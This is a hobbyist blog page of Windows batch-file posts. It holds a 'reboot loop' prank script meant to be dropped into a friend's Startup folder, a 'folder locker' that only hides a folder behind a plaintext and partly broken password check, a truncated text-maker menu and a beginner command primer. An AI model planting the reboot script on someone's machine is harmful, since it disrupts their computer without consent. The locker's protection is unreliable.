Showing posts with label Batch. Show all posts
Showing posts with label Batch. Show all posts

Saturday, 25 February 2012

REBOOT LOOP {MWUAHAHA} - Batch on shuffle

To pull this .bat prank off all you need to do is open notepad and paste this in there:

@echo off
color 0c
Title Here it goes again (ha. ha.)
shutdown -r -f -t 0
echo ha.
Ping localhost -n 2 >nul

So now what you wanna do is go to Save as and on file type change it from .txt to all files. At the end of the file name put .bat (this'll save it as a batch file)

Now drag it to the start icon (bottom left of your screen) > All programs > And drop it inside "Startup".

Now what this will do is reboot the computer as soon as it signs in to the user you did it in.
If it the pc signs in automatically, this will result in a never ending loop between boot and shutdown.
Loads of fun to see your friend's face if frustation, however, don't blame me if you get your face punched.

To get rid of it, boot up in safe mode, go to the startup folder and delete the file.

I am not responsible for anything you do with it.

Sunday, 11 April 2010

..::Folder Locker::..

Need a program to lock a file or two, maybe a Folder?

Well, yes you can dowload one, or you might just do it yourself!







open notepad an copy this:

@ECHO OFF
title PcCommand's Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK

if NOT EXIST Locker goto MDLOCKER

:CONFIRM
cls
echo Are you sure u want to Lock the folder(Y/N)

set/p "cho=>"

if %cho%==Y goto LOCK

if %cho%==y goto LOCK

if %cho%==n goto END

if %cho%==N goto END

echo Invalid choice.

pause

goto CONFIRM

:LOCK
cls
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

echo Folder locked
echo.
pause

goto End

:UNLOCK
cls
set /p pass=Password:

if NOT %pass%==here goes your password goto FAIL
if %pass%==
here goes your password goto Next

:Next
cls
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker

echo Folder Unlocked successfully
echo.
pause
goto End

:FAIL
cls
echo Invalid password

pause

goto UNLOCK

:MDLOCKER
cls
md Locker

echo Locker created successfully

pause

goto End

:End


Then, Save it as:
Anything.BAT

Monday, 15 February 2010

..::Text Maker 1.1::..

Batch file text maker!! Just paste it in Notepad and there you go! save it as (-Whatever-).bat

@echo off
title Text maker!
color fc
:Menu
cls
echo ------------------------------
echo Where to?
echo ------------------------------
echo 1) Text editor...
echo 2) Help...
echo 3) Credits...
echo 4) Colours...
echo 5) Exit...
set /p Menu=Where captain?
if not defined Menu goto Menu
if %menu%==1 goto 1
if %menu%==2 goto 2
if %menu%==3 goto 3
if %menu%==4 goto 4
if %menu%==5 goto 5
if not %menu%==1 goto nomenu
if not %menu%==2 goto nomenu
if not %menu%==3 goto nomenu
if not %menu%==4 goto nomenu
if not %menu%==5 goto nomenu
:1
cls
echo How many lines will the text have?
echo -5
echo -10
echo -15
echo -20
echo -30
echo -40
echo -50
echo .
echo Please tipe in - then the number.
echo .

Saturday, 6 February 2010

Primary - Batch Codes

To make a batch file you right a command or more in notepad or notepad++ (Any other program doesn't work!) and save it .bat (batch).

CODES:

Copy:

copy (((Location of the file to copy)))\(((File name))).(((File extension))) (((Destiny of the file)))

For example - You want to copy the file Explorer.exe from C:\WINDOWS to C:\=

copy C:\WINDOWS\explorer.exe C:\

This will copy the explorer application
to the C: drive
__________________________________________________________________________________

Delete:
This one is even easier than the copy!!

del (((Location of the file, file & its extension/Directory)))


For example, let's say you wanted to delete folder (Directory) X from the C: drive, the code would be this:

Del C:\X

As Easy as that!!

___________________________________________________________________


Echos:
Echos are line of word in a batch file, but it has many other uses

For a line of words, tipe in a new command line the word
"echo" -space- ((the text))
Let's say you wanted the batch file to say hello, the text would be this:

@echo off
echo Hello
pause
exit

@echo off means the echo is desactivated, this means any process will not be showed.
pause means to pause the whole process, to continue it, press any key.
exit means that that's the end off the batch, making it close, putting this isn't nessesary
but it keeps everything in order.

___________________________________________________________________________

Title:
To put a title on your batch files simply put the place you want the title to act,
Title (((the title)))
lets say that you want the title to be "Batch Files", but later you want it to be
"Title changed", the code would be:

@echo off
title Batch Files
echo This is a Batch file
Pause >nul
echo Now the title will change
Pause >nul
title Title changed!
echo See!!
Ping localhost -n 2 >nul
echo The title changed!!!
pause >nul

>nul Means that any process behind it in the same command line will not be showed,
using it after th Pause means that the message "Press any key to continue" will not be showed.
Ping localhost -n 2 pings the local IP adress to 127.0.0.1
(2) times, Then 127.0.0.1 loops back the ip, this takes 1 second to finish aprox, so in result you get a pause for 1 second long, without having to press anything.
___________________________________________________________________________

Colours:
You can change console color combination by tiping the next codes:

0 = Black

1 = Dark blue
2 = Green
3 = Aquamarine
4 = Dark Red
5 = Purple
6 = Yellow
7 = 25% Grey

8 = 50% Grey
9 = Blue
A = Light green
B = Light blue
C = Red
D = Pink
E = Light yellow
F = White

For there to be any color type in the batch file the code:
Color (((code of the background)))(((code of the letters)))
For example, Color FC makes the background white and the letters red,
0C makes the background black and the letters green.

@echo off
Color 0c
echo Now the colors are kinda like matrix
pause >nul
Color F0
echo Now the colours are black and white, very pleasent to the eye...

Pause >nul
exit
___________________________________________________________________________

Set:
For information obout "Set" command click HERE
(I'ts too much to explain!!)

What is Batch?

In a computer, a batch job is a program that is assigned to the computer to run without further user interaction. Examples of batch jobs in a PC are a printing request or an analysis of a Web site log. In larger commercial computers or servers, batch jobs are usually initiated by a system user. Some are defined to run automatically at a certain time.

In some computer systems, batch jobs are said to run in the background and interactive programs run in the foreground. In general, interactive programs are given priority over batch programs, which run during the time intervals when the interactive programs are waiting for user requests.

The term originated with mainframe computers when punched cards were the usual form of computer input and you put a batch of cards (one batch per program) in a box in the sequence that they were to be fed into the computer by the computer operator. (Hopefully, you got the output back the next morning.)